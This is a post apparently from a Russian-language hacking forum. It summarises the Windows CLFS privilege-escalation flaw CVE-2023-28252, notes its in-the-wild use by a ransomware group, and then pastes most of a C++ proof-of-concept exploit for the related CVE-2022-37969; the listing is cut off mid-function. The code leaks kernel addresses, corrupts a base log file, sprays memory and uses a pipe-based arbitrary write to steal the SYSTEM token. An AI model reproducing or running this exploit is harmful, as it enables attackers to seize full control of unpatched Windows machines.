• XSS.stack #1 – первый литературный журнал от юзеров форума

[CVE-2023-28252] - Analysis of In-the-Wild Exploit Sample of CLFS Privilege Escalation Vulnerability

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
Kaspersky has disclosed that the 0day vulnerability CVE-2023-28252 is an out-of-bounds write (increment) vulnerability, which can be exploited to obtain system privileges in Windows when the target system attempts to extend a metadata block. The exploitation process starts by altering the base log file so that an offset value in a specific Common Log File System (CLFS) structure in memory is changed into an offset pointing towards a malicious structure controlled by attackers. The CLFS structure is part of CLFS general-purpose logging system consisting of physical log files, log streams, log records and more.
The privilege escalation vulnerability has been exploited in the wild by the Nokoyawa ransomware group to obtain system privileges on target hosts before deploying their ransomware.


Статья: https://ti.qianxin.com/blog/article...e-of-CLFS-Privilege-Escalation-Vulnerability/

Еще одна полезная ссылка с кодом эксплойта-предшественника - https://github.com/fortra/CVE-2022-37969

C++:
//
// Understanding the CVE-2022-37969 Windows Common Log File System Driver Local Privilege Escalation.
// Authors: Ricardo.Narvaja@fortra.com Esteban.kazimirow@fortra.com
//
#pragma warning (disable : 4005)

#include <stdio.h>
#include <iostream>
#include <windows.h>
#include <clfsw32.h>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <tlhelp32.h>
#include "ntos.h"
#include "crc32.h"

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Clfsw32.lib")



/*
Windows Server 2016 Standard ------>
Windows Server 2019 Standard ------> 17763 token offset: 0x4b8
Windows Server 2022 Standard ------> 20348 token offset: 0x4b8
Windows 10 Pro Version 21H1 -------> 19041 19043 offset: 0x4b8
Windows 10 Pro Version 21H2 -------> 19041 offset: 0x4b8
Windows 11 Pro Version 21H2 -------> 22000 token offset: 0x4b8
*/

//
// NT syscalls
//
#define SystemModuleInformation  0xb
#define SystemHandleInformation 0x10


typedef struct _SYSTEM_BIGPOOL_ENTRY {
    union {
        PVOID VirtualAddress;
        ULONG_PTR NonPaged : 1;
    };
    SIZE_T SizeInBytes;
    union {
        UCHAR Tag[4];
        ULONG TagUlong;
    };
} SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;


typedef struct _SYSTEM_BIGPOOL_INFORMATION {
    ULONG Count;
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
} SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;


typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);

typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);

_NtQuerySystemInformation fnNtQuerySystemInformation = NULL;
_NtWriteVirtualMemory fnNtWriteVirtualMemory = NULL;

//
// Leaked addresses
//
DWORD64 g_EProcessAddress = 0;
DWORD64 g_EThreadAddress = 0;
DWORD64 g_TokenAddress, my_pidEprocess = 0;

//
// Version dependent offsets
//
#define OFFSET_OF_PREVIOUS_MODE 0x232
#define OFFSET_OF_WIN32PROCESS 0x3b0
#define OFFSET_OF_SEP_TOKEN_PRIVILEGES 0x40
#define OFFSET_OF_DCOMPOSITIONPROCESS 0x100


//
// CInteractionTrackerMarshaler object offsets
//
#define OFFSET_OF_FUNCTION 0x50
#define OBJECT_SIZE 0x1a0
typedef NTSTATUS func(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
// Global Variables
IO_STATUS_BLOCK v30;
IO_STATUS_BLOCK v31;
UINT64 offset_SeSetAccess = 0;
func* _NtFsControlFile;
UINT64 fnSeSetAccessStateGenericMapping = 0;
UINT64 offset_ClfsEarlier = 0;
UINT64 fnClfsEarlierLsn = 0;
CHAR clfs_path[] = { "\\SystemRoot\\System32\\drivers\\CLFS.SYS" };
FARPROC v22b = NULL;
UINT64 ntos_kernelBase = NULL;
UINT64 clfs_kernelBase = NULL;
WCHAR* stored_env_xfname = { 0 };
UINT64 v14 = 0;
UINT64 v15 = 0;
WCHAR* stored_env_containerfname = { 0 };
WCHAR* stored_env_containerfname2 = { 0 };
WCHAR* stored_env_containerfname3 = { 0 };
DWORD* hReadPipe[2] = { 0 };
UINT64 System_token_value = 0;
int numread;
#define NUMELEM 0x7a00
char buff[0x7a00];
INT64 v22 = 0;
INT64 v23 = 0;
INT64 v26 = 0;
INT64 v24 = 0;
INT64 v31b  = 0;
INT64 v32 = 0;
UINT num_of_CLFS = 0;
PUINT p_num_of_CLFS = &num_of_CLFS; // number of CLFS tags
CHAR tag[] = { "Clfs" };
PUINT64 v10 = 0; // Offset of last field virtual address
int v9 = 0; // stores the amount of bigpool clfs tags
WCHAR* stored_env_fname;
DWORD _pid = 0;
DWORD pid_to_find = 0;
int token_offset = 0;
LONGLONG token_value = 0;
int winversion = 0;
WCHAR* stored_env_open;
WCHAR* foldr = nullptr;
DWORDLONG system_EPROCESS = 0;
PUINT64 kernelAddrArray = 0;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
HMODULE user32 = NULL;
int flag = 0;
int flag2 = 0;
UINT64 dest2 = 0;
UINT64 dest3 = 0;
UINT64 value2 = 0;
UINT64* value3 = 0;
UINT64 next_token;
// Get OS version to get TOKEN offsets

int getOSversion() {
    char buff[100];
    HKEY hKey;
    DWORD cType;
    wchar_t lpData[1024] = { 0 };
    DWORD buffersize = sizeof(lpData);
    int tokenOffset = 0;

    memset(buff, 0, sizeof(buff));  // clear buffer

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"), NULL, KEY_READ, &hKey) == ERROR_SUCCESS)
    {
        printf("[+] Registry key Opened successfully\n");
    }
    else {
        printf("[!] Failed to open reg key: %s\n", GetLastError());
        exit(1);
    }

    RegQueryValueExW(hKey, TEXT(L"CurrentBuild"), NULL, &cType, (LPBYTE)lpData, &buffersize);

    RegCloseKey(hKey);

    // convert unicode to ansi
    WideCharToMultiByte(CP_UTF8, 0, lpData, -1, (LPSTR)buff, 0x80, 0, 0);

    // convert string to int
    winversion = atoi(buff);

    wprintf(L"[+] Windows Build Number: %i\n", winversion);

    // check if versions are supported

    if (winversion >= 17763 && winversion <= 22000) {
        token_offset = 0x4b8;  // store the token offset
    }
    else {
        printf("[!] Version %d not supported. Exiting...\n", winversion);
    }

    return 0;
}



SIZE_T GetObjectKernelAddress(HANDLE Object)
{
    PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
    ULONG    handleInfoSize = 0x1000;
    ULONG    retLength;
    NTSTATUS status;
    SIZE_T kernelAddress = 0;
    BOOL bFind = FALSE;

    while (TRUE)
    {
        handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);

        status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);

        if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH
        {
            LocalFree(handleInfo);

            handleInfoSize = retLength + 0x100;
            handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);

            status = fnNtQuerySystemInformation(SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);

            if (NT_SUCCESS(status))
            {
                for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
                {
                    if ((USHORT)Object == 0x4)
                    {
                        if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
                        {

                            kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
                            bFind = TRUE;
                            break;
                        }
                    }
                    else
                    {
                        if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue)
                        {
                            kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
                            bFind = TRUE;
                            break;
                        }
                    }
                }
            }

        }

        if (handleInfo)
            LocalFree(handleInfo);

        if (bFind)
            break;
    }

    return kernelAddress;
}

VOID InitEnvironment()
{

    //
    // Resolve NT syscalls
    //
    fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");

    DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);
    //    printf("[+] HPROCESS %p\n", hProcess);
    g_EProcessAddress = GetObjectKernelAddress(hProcess);
    printf("[+] MY EPROCESSS %p\n", g_EProcessAddress);

    system_EPROCESS = GetObjectKernelAddress((HANDLE)4);
    printf("[+] SYSTEM EPROCESSS %p\n", system_EPROCESS);

    return;
}


int checkAccessToken() {
    int v8 = 0; // todavia no se que es
    PHANDLE TokenHandle = 0; //
    int savedHprocess = 0;
    NTSTATUS status2;
    ULONG size2;
    NTSTATUS status3;
    UINT64 v11 = 0;
    PUINT v12 = 0;

    user32 = LoadLibraryW(L"user32.dll");
    int currentpid = GetCurrentProcessId();

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, currentpid);
    if (!hProcess) {
        printf("[!] OpenProcess failed with error %d\n", GetLastError());
    }
    printf("[+] hProcess: 0x%x\n", hProcess);

    savedHprocess = (UINT)hProcess;

    if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hProcess)) {
        printf("[!] OpenProcessToken failed with error %d\n", GetLastError());
        return 0;
    }
    TokenHandle = &hProcess;
    printf("[+] Token handle: 0x%x\n", TokenHandle);


    VOID* v10 = malloc(0x20);
    if (!v10) { exit(1); }

    status2 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, 32, &size2);
    if (!*(PUINT)v10) {
        exit(1);
    }

    if (status2 == 0xC0000004 || NT_SUCCESS(status2)) // STATUS_INFO_LENGTH_MISMATCH
    {
        LocalFree(v10);
        v10 = malloc(size2);

        printf("[+] Structure Address %p\n", v10);
        status3 = fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, v10, size2, &size2);
        printf("[+] Number of Handles: 0x%x\n", *(PULONG)v10);
    }


    v12 = (PUINT)v10 + 3;
    printf("[+] Direccion: 0x%p  pid: %x\n", (v12 - 1), *(v12 - 1));


    while (*(v12 - 1) != GetCurrentProcessId() || *(BYTE*)v12 != 5 || *(PUINT16)TokenHandle != *(PUINT16)((PCHAR)v12 + 2)) {
        //                printf("pasada %d\n",  v11);

        v11++;
        v12 = (PUINT)v12 + 6;
        //                    printf("v12 = %p\n", v12);

        if (v11 >= *(PUINT)v10) {
            printf("[+] Termino\n");
            break;
        }

    }
    printf("[+] Valor: %x\n", *(PUINT16)v12);
    printf("[+] Salida del while\n");
    return 0;
}


int createInitialLogFile() {

    WCHAR* foldr = nullptr;
    size_t sz = 0;
    if (_wdupenv_s(&foldr, &sz, L"PUBLIC") == 0 && foldr != nullptr)
    {
        printf("[+] Variable = %ls\n", foldr);
        //       free(foldr);

    }

    WCHAR* tmp_env = (WCHAR*)malloc(0x1000);
    WCHAR* stored_env = tmp_env; // where Public environment variable is stored
    memset(tmp_env, 0, 0x1000);  //

    wsprintfW(stored_env, L"%s", foldr);  // C:\Users\Public
    //   printf("variable 1 stored_env unicode: %ls\n", stored_env);



    WCHAR* tmp_env2 = (WCHAR*)malloc(0x1000);
    WCHAR* stored_env_log = tmp_env2; // where Public environment variable is stored
    memset(tmp_env2, 0, 0x1000);

    wsprintfW(stored_env_log, L"LOG:%s", stored_env);
    ////   printf("variable 2 stored_env_log unicode + log: %ls\n", stored_env_log); //LOG:C:\Users\Public

    WCHAR* tmp_env3 = (WCHAR*)malloc(0x1000);
    stored_env_fname = tmp_env3; // where Public environment variable is stored
    memset(tmp_env3, 0, 0x1000);

    wsprintfW(stored_env_fname, L"%s\\MyLog", stored_env_log);
    ////   printf("variable 3 stored_env_fname unicode fname: %ls\n", stored_env_fname); // LOG:C:\Users\Public\MyLog

    WCHAR* tmp_env4 = (WCHAR*)malloc(0x1000);
    stored_env_open = tmp_env4; // where Public environment variable is stored
    memset(tmp_env4, 0, 0x1000);

    wsprintfW(stored_env_open, L"%s\\MyLog.blf", stored_env);  // C:\Users\Public\MyLog.blf
    //   printf("variable 4 stored_env_open unicode: %ls\n", stored_env_open);

    WCHAR* tmp_env5 = (WCHAR*)malloc(0x1000);
    stored_env_xfname = tmp_env5; // where Public environment variable is stored
    memset(tmp_env5, 0, 0x1000);

    wsprintfW(stored_env_xfname, L"%s\\MyLxg", stored_env_log);
    //   printf("variable 5 stored_env_fname unicode xfname: %ls\n", stored_env_xfname); // LOG:C:\Users\Public\MyLxg


    WCHAR* tmp_env6 = (WCHAR*)malloc(0x1000);
    WCHAR* tmp_env7 = (WCHAR*)malloc(0x1000);
    WCHAR* tmp_env8 = (WCHAR*)malloc(0x1000);

    stored_env_containerfname = tmp_env6; // where Public environment variable is stored
    memset(tmp_env6, 0, 0x1000);
    stored_env_containerfname2 = tmp_env7; // where Public environment variable is stored
    memset(tmp_env6, 0, 0x1000);
    stored_env_containerfname3 = tmp_env8; // where Public environment variable is stored
    memset(tmp_env6, 0, 0x1000);

    srand(time(NULL));
    int v56 = rand();

    printf("random part name of the container %d\n", v56);

    wsprintfW(stored_env_containerfname, L"%s\\.container_1%d", stored_env, v56);
    wsprintfW(stored_env_containerfname2, L"%s\\.container_1%d", stored_env, (v56+1));
    wsprintfW(stored_env_containerfname3, L"%s\\.container_1%d", stored_env, (v56 + 2));
    //   printf("variable 6 stored_env_containerfname unicode: %ls\n", stored_env_containerfname);// C:\\Users\\Public\\.container_1%d" + nro random
      // getchar();

       // 1. Create a base log file MyLog.blf in the folder C:\Users\Public\ via the CreateLogFile API

    HANDLE logFile = CreateLogFile(stored_env_fname, GENERIC_READ | GENERIC_WRITE, 1, 0, 4, 0);
    if (logFile == (HANDLE)-1) {
        DWORD error = GetLastError();
        //       printf("Could not create log file, error: 0x%x\n", error);
        exit(-1);
    }
    printf("[+] Log file created with handle --> 0x%x\n", logFile);
    CloseHandle(logFile);
    //getchar();
    return 0;
}





// SystemBigPoolInformation

int getBigPoolInfo(PUINT64 _a2)
{
    UINT64 v7 = 0;
    UINT v8 = 0; // counter
    UINT64 v11 = 0;
    ULONG retlen = 0;
    PUINT64 v15 = 0;
    ULONG v4 = 0;
    DWORD* v5;
    UINT v6 = 0;

    DWORD* v3 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4);
    if (fnNtQuerySystemInformation(SystemBigPoolInformation, v3, 0x1000, &retlen) == 0xC0000004)
    {
        while (1)
        {
            VirtualFree(v3, 0, 0x8000);
            v4 = retlen;
            v5 = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen, 0x1000, 4);
            v3 = v5;
            if (!v5)
            {
                printf("[+] Error Allocating Memory\n");
                break;
            }

            if (fnNtQuerySystemInformation(SystemBigPoolInformation, v5, v4, &retlen) != 0xC0000004)
            {
                goto label_4;
            }
            else {
                break;
            }

        }
        //printf("[+] Error Allocating Memory\n");
    }
    else {
    label_4:
        v6 = (UINT) * (PUINT)v3; // v6 is the field count on the SYSTEM_BIGPOOL_INFORMATION
        //    printf("[+] Field Count --> %x\n", v6);

        if (flag2 == 0) {
            kernelAddrArray = (PUINT64)malloc(v6 * 8);
            printf("Kernel addresss array %p", kernelAddrArray);
            memset(kernelAddrArray, 0, (v6 * 8));
            flag2++;
        }

        if (v6)
        {
            v9 = *p_num_of_CLFS;
            v10 = (PUINT64)&v3[4 * v6 - 4 + 2 * v6];
            //        printf("[+] LAST SYSTEM BIG POOL ENTRY OFFSET --> %p\n", v10); // offset to the last SYSTEM_BIGPOOL_ENTRY

            do {
                v11 = *v10 & 0xFFFFFFFFFFFFFFFE;
                //    printf("[+] First field value of BIG POOL ENTRY structure, named Virtual Address --> %p\n", v11);
                if ((*v10 & 1) == 0)
                {
                    v11 = *v10;
                }
                if (v10[1] == 0x7a00)  // search for the clfs base log file size
                {
                    UINT v12 = 0;
                    while (1)
                    {
                        CHAR v13 = tag[v12++];
                        if (v13 != *((BYTE*)v10 + v12 + 15))
                        {
                            break;
                        }

                        if (v12 == 5) // tag Clfs found !
                        {
                            UINT v14 = 0;

                            if (v9 <= 0)
                            {
                            label_16:
                                UINT v16 = v9++;
                                kernelAddrArray[v16] = v11;


                                if (_a2)
                                {
                                    ++v8;
                                    *_a2 = v11;
                                }
                            }
                            else
                            {
                                v15 = kernelAddrArray;
                                while (*v15 != v11)
                                {
                                    ++v14;
                                    ++v15;
                                    if (v14 >= v9) {
                                        goto label_16;
                                    }
                                }
                            }
                            break;
                        }

                    }
                }


                ++v7;
                v10 -= 3; // back 0x18 to previous System Big Pool Entry to find the 0x7a00
            } while (v7 < v6); // it compares the counter against the field count of SYSTEM_BIGPOOL_INFORMATION

            *p_num_of_CLFS = v9;
        }
        //printf("[+] Variables: v8 = %x   v9 = %x\n", v8, v9);
        //printf("[+] Kernel Addresses array --> %p\n", kernelAddrArray);
        if (_a2 && v8 == 0) {
            printf("[+] Not found available chunk\n");
            exit(1);
        }
        VirtualFree(v3, 0, 0x8000);
    }
    return 0;
}


VOID GetOffsetBetweenPools() {
    UINT64 a2 = 0;
    PUINT64 p_a2 = &a2;

    WCHAR* buf = (WCHAR*)malloc(0x1000);
    do
    {
        while (1)
        {
            while (1)
            {
                do
                {
                    HANDLE logFile1;
                    do
                    {
                        v26 = v24;
                        memset(buf, 0, 0x1000);
                        unsigned int rnum = rand();
                        wsprintfW((LPWSTR)buf, L"%s_%d", stored_env_fname, rnum);
                        logFile1 = CreateLogFile((LPWSTR)buf, 0xc0010000, 3, 0, 4, 0);
                    } while (logFile1 == (HANDLE)-1);

                    int* handleArray = (INT*)malloc(4);
                    *handleArray = (INT)logFile1;
                    getBigPoolInfo(p_a2); // SystemBigPoolInformation
                    //        printf("[+] Last BigPoolAddress of Clfs tag --> %p\n [+]Total Clfs tags --> 0x%x\n", a2, num_of_CLFS);

                    v24 = p_a2[0];


                } while (!v26);

                v31b = p_a2[0] - v26;
                v32 = v26 - p_a2[0];

                if (v31b > 0) {
                    v32 = v31b;
                }
                        //printf("[+] Distancia --> %x\n", v32);
                if (v23) break;
                v23 = v32;
            }

            if (v23 == v32) break;
            v22 = 0;
            v23 = v32;
        }

        ++v22;
    } while (v22 < 5);
    //    printf("[+] v22 --> %p\n", v22);
    return;
}


VOID craftFile() {
    FILE* pfile;

    char checkSum[] = { 0x00, 0x00, 0x00, 0x00 }; // {0x59, 0xdf, 0x44, 0x06}; // offset 0x80c
    char signaturOffset[] = { 0x50, 0x00, 0x00, 0x00 }; // offset 0x868
    char ccoffsetArray[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x9a8
    char cbsymbolZone[] = { 0x4b, 0x11, 0x01, 0x00 }; // offset 0x1b98
    char blockNameoffset[] = { 0xb8, 0x1b, 0x00, 0x00 }; // offset 0x2390
    char blockAtributeoffset[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x2394
    char fakeClientcontext[] = { 0x07, 0xf0, 0xfd, 0xc1, 0x88 }; // offset 0x23a0
    char fakeClientcontext2[] = { 0x01, 0x00, 0x00, 0x00 }; // offset 0x23ab
    char fakeClientcontext3[] = { 0x20, 0x00, 0x00, 0x00 }; // offset 0x2418


    _wfopen_s(&pfile, stored_env_open, L"r+");
    if (pfile == 0) {
        printf("Cant't open file, error %x\n", GetLastError());
        //    getchar();
        exit(1);
    }
    printf("[+] file successfully opened\n");


    fseek(pfile, 0x80c, SEEK_SET);
    fwrite(checkSum, sizeof(char), sizeof(checkSum), pfile);

    fseek(pfile, 0x868, SEEK_SET);
    fwrite(signaturOffset, sizeof(char), sizeof(signaturOffset), pfile);

    fseek(pfile, 0x9a8, SEEK_SET);
    fwrite(ccoffsetArray, sizeof(char), sizeof(ccoffsetArray), pfile);

    fseek(pfile, 0x1b98, SEEK_SET);
    fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pfile);

    fseek(pfile, 0x2390, SEEK_SET);
    fwrite(blockNameoffset, sizeof(char), sizeof(blockNameoffset), pfile);

    fseek(pfile, 0x2394, SEEK_SET);
    fwrite(blockAtributeoffset, sizeof(char), sizeof(blockAtributeoffset), pfile);

    fseek(pfile, 0x23a0, SEEK_SET);
    fwrite(fakeClientcontext, sizeof(char), sizeof(fakeClientcontext), pfile);

    fseek(pfile, 0x23ab, SEEK_SET);
    fwrite(fakeClientcontext2, sizeof(char), sizeof(fakeClientcontext2), pfile);

    fseek(pfile, 0x2418, SEEK_SET);
    fwrite(fakeClientcontext3, sizeof(char), sizeof(fakeClientcontext3), pfile);

    fclose(pfile);


    printf("[+] Archivo modificado !\n");

    return;
}


int crcCalculatorAndFix() {

    uint32_t table[256];
    crc32::generate_table(table);

    // Struct, for piece-by-piece, bytewise
    struct DataStruct {
        uint16_t data1;
        uint16_t data2;
        float mypi;
        uint32_t myclock;
        bool begun;
    };
#define SIZE 1
    FILE* fd = NULL;
    memset(buff, 0, sizeof(buff));

    _wfopen_s(&fd, stored_env_open, L"rb");
    fseek(fd, 0x800, SEEK_SET);


    numread = fread(buff, SIZE, NUMELEM, fd);
    fclose(fd);

    *((DWORD*)(buff + 0xc)) = 0;

    //    printf("NUMBER OF BYTES READ= %x\n", numread);

    if (numread != NUMELEM)
    {
        //       printf("\n fread() failed\n");
        return 1;
    }


    char* ptr = (char*)&buff;
    uint16_t slen = sizeof(buff);
    //    printf("Size of Data struct is: %x\n", slen);                 // 16 bytes

    uint32_t CRC = 0;
    for (int cnt = 0; cnt < slen; cnt++) {
        CRC = crc32::update(table, CRC, ptr, 1);
        ptr++;
    }

    //    printf("Piece-wise crc32 of struct Data is: 0x%X \n", CRC);       // 0x6A8E18CE

    _wfopen_s(&fd, stored_env_open, L"r+");
    fseek(fd, 0x80c, SEEK_SET);
    fwrite(&CRC, 1, 4, fd);
    fclose(fd);

    return 1;
}

int doHeapSpray() {

    UINT64 alloc00 = 0x5000000;
    UINT64 alloc01 = 0x10000;


    if (!VirtualAlloc((LPVOID)alloc00, 0x100000, 0x3000, 4)) {
        printf("[-] Failed to allocate memory\n");
        return 0;
    }
    if (!VirtualAlloc((LPVOID)0x10000, 0x1000000, 0x3000, 4)) {
        DWORD lastError = GetLastError();
        printf("[-] Failed to allocate memory at address 0x1000\n");
        return 0;
    }
    for (int i = 0; i < 0x1000000; i += 0x10)
        *(UINT64*)(i + 0x10000) = 0x5000000;
    printf("[+] Successful allocated at 0x10000\n");
    //    getchar();
    return 0;
}

VOID FindKernelModulesBase()
{

    UINT64 retval = 0;
    HANDLE hHeap = GetProcessHeap();
    LPVOID lpHeapBuffer = HeapAlloc(hHeap, 0, 0x2000);
    DWORD dwBytesReturned = 0;

    if (!lpHeapBuffer) {
        return;
    }

    NTSTATUS status = fnNtQuerySystemInformation(
        (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
        lpHeapBuffer,
        0x2000,
        &dwBytesReturned
    );

    // realloc and try again
    // todo: add switch case for status
    if (!NT_SUCCESS(status)) {
        HeapFree(hHeap, 0, lpHeapBuffer);
        lpHeapBuffer = HeapAlloc(hHeap, 0, dwBytesReturned);

        if (!lpHeapBuffer) {
            return;
        }

        memset(lpHeapBuffer, 0, dwBytesReturned);

        status = fnNtQuerySystemInformation(
            (SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
            lpHeapBuffer,
            dwBytesReturned,
            &dwBytesReturned
        );

        if (!NT_SUCCESS(status)) {
            return;
        }
    }

    PSYSTEM_MODULE_INFORMATION psm = (PSYSTEM_MODULE_INFORMATION)lpHeapBuffer;
    if (psm->NumberOfModules > 0) {
        retval = (UINT64)psm->Modules[0].ImageBase;
        //HeapFree(hHeap, 0, lpHeapBuffer);
        ntos_kernelBase = retval;

    }

    int i = 0;
    for (i = 0; i < psm->NumberOfModules; i++)
    {
        if (!strncmp(clfs_path, (CHAR*)psm->Modules[i].FullPathName, strlen(clfs_path)))  break;
    }
    printf("[+] Module name --> %s\n", psm->Modules[i].FullPathName);

    clfs_kernelBase = (UINT64)psm->Modules[i].ImageBase;
    return;
}


int pipeArbitraryWriteValues() {
    
    VOID* v9a = 0;
    //    UINT64 v10 = 0;
    ULONG retlen2 = 0;
    DWORD* v10 = 0;
    v10 = (DWORD*)VirtualAlloc(0, 0x1000, 0x1000, 4);
    FARPROC v22a = NULL;
    
    UINT PIPE_ATTR_TAG = 0x7441704E;

    //printf("Please Attach me\n");
    //getchar();

    HMODULE nt = GetModuleHandleA("ntdll");
    

    _NtFsControlFile = (func*)GetProcAddress(nt, "NtFsControlFile");
    if (!_NtFsControlFile) exit(1);

    printf("[+] NtFsControlFile Address --> %p\n", _NtFsControlFile);


    


    if (CreatePipe((PHANDLE)&hReadPipe[1], (PHANDLE)&hReadPipe[0], 0, 0x1000))
    {
        printf("[+] hReadPipe --> %x\n[+] hWritePipe --> %x\n", hReadPipe[1], hReadPipe[0]);

        v9a = _malloc_base(0x2000);
        memset((UINT64*)v9a + 1, 0x41, 0xffe);
        *(UINT64*)v9a = 0x5a; // "Z"

        VOID* dest = malloc(0x100);
        memset(dest, 0x42, 0xff);

        _NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x11003c, v9a, 0xfd8, dest, 0x100);

        fnNtQuerySystemInformation(SystemBigPoolInformation, v10, 0x1000, &retlen2);

        DWORD* v5a = (DWORD*)VirtualAlloc(0, (SIZE_T)retlen2, 0x1000, 4);

        //    fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2);


            // find Attribute Tag inside the Pool

        NTSTATUS status = STATUS_SUCCESS;
        if (NT_SUCCESS(status = fnNtQuerySystemInformation(SystemBigPoolInformation, v5a, retlen2, &retlen2))) {
            PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(v5a);
            for (ULONG i = 0; i < pBuf->Count; i++) {
                __try {
                    if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
                        printf("[+] VirtualAddress -->%p\n[+] Tag --> %s\n", pBuf->AllocatedInfo[i].VirtualAddress, &pBuf->AllocatedInfo[i].TagUlong);
                        v30.Pointer = pBuf->AllocatedInfo[i].VirtualAddress;
                        break;
                    }
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                    printf("(%s) Access Violation was raised.", __FUNCTION__);
                }
            }
        }


        printf("[+] SystemEprocess --> %p\n", system_EPROCESS);
        printf("[+] v14 --> %p\n", system_EPROCESS & 0xfff);
        printf("[+] v15 --> %p\n", system_EPROCESS & 0xfffffffffffff000);

        v14 = system_EPROCESS & 0xfff;
        v15 = system_EPROCESS & 0xfffffffffffff000;


        dest2 = 0xffffffff;
        dest3 = 0x100000007;
        value2 = 0x414141414141005A;
        value3 = 0;
        value3 = &value2;

        if (VirtualAlloc((LPVOID)dest2, 0x100000, 0x3000, 4))
        {
            memset((LPVOID)dest3, 0, 0xff8);
            *(UINT64*)dest2 = v15;


            CHAR* v16a = (CHAR*)v30.Pointer + 24; // this address should point to AttributeValueSize in kernel pool
            printf("[+] v30.Pointer --> %p\n[+] v30.Pointer+24 --> %p\n", (CHAR*)v30.Pointer, v16a);

            *(UINT64*)dest3 = value2;

            for (int i = 8; i < 0x1000000; i += 0x10)
            {
                *(UINT64*)(i + 0x10000) = (UINT64)v16a;
            }

            HMODULE CLFS_userBase = LoadLibraryExW(L"C:\\Windows\\System32\\drivers\\CLFS.SYS", 0, 1);
            if (CLFS_userBase)
            {
                v22b = GetProcAddress(CLFS_userBase, "ClfsEarlierLsn");

            }


            HMODULE ntos_userBase = LoadLibraryExW(L"ntoskrnl.exe", 0, 1);
            if (ntos_userBase)
            {
                v22a = GetProcAddress(ntos_userBase, "SeSetAccessStateGenericMapping");
            }


            FindKernelModulesBase();


            printf("[+] NTOSKRNL base on user  -------------------------> %p\n", ntos_userBase);
            printf("[+] NTOSKRNL base on Kernel ------------------------> %p\n", ntos_kernelBase);
            printf("[+] SeSetAccessStateGenericMapping user address ----> %p\n", v22a);
            offset_SeSetAccess = (UINT64)v22a - (UINT64)ntos_userBase;
            printf("[+] Offset SeSetAccessStateGenericMapping ----------> %p\n", offset_SeSetAccess);
            fnSeSetAccessStateGenericMapping = ntos_kernelBase + offset_SeSetAccess;
            printf("[+] SeSetAccessStateGenericMapping kernel address --> %p\n\n", fnSeSetAccessStateGenericMapping);


            printf("[+] CLFS.SYS base on user  -------------------------> %p\n", CLFS_userBase);
            printf("[+] CLFS base on Kernel  ---------------------------> %p\n", clfs_kernelBase);
            printf("[+] ClfsEarlierLsn user address --------------------> %p\n", v22b);
            offset_ClfsEarlier = (UINT64)v22b - (UINT64)CLFS_userBase;
            printf("[+] Offset ClfsEarlierLsn --------------------------> %p\n", offset_ClfsEarlier);
            fnClfsEarlierLsn = clfs_kernelBase + offset_ClfsEarlier;
            printf("[+] ClfsEarlierLsn kernel address ------------------> %p\n", fnClfsEarlierLsn);

            return 0;

        }
    }

}

int pipeArbitraryWrite() {
    HANDLE v51 = 0;

            if (fnClfsEarlierLsn)
            {
                *(PUINT64)(0x5000018) = fnClfsEarlierLsn;
                *(PUINT64)(0x5000000) = 0x123456789;
                *(PUINT64)(0x5000008) = fnSeSetAccessStateGenericMapping;

                if (flag == 1){
                    //Arranging the memory for second attempt

                        *(UINT64*)dest2 = System_token_value;       
                        *(UINT64*)dest3 = next_token;
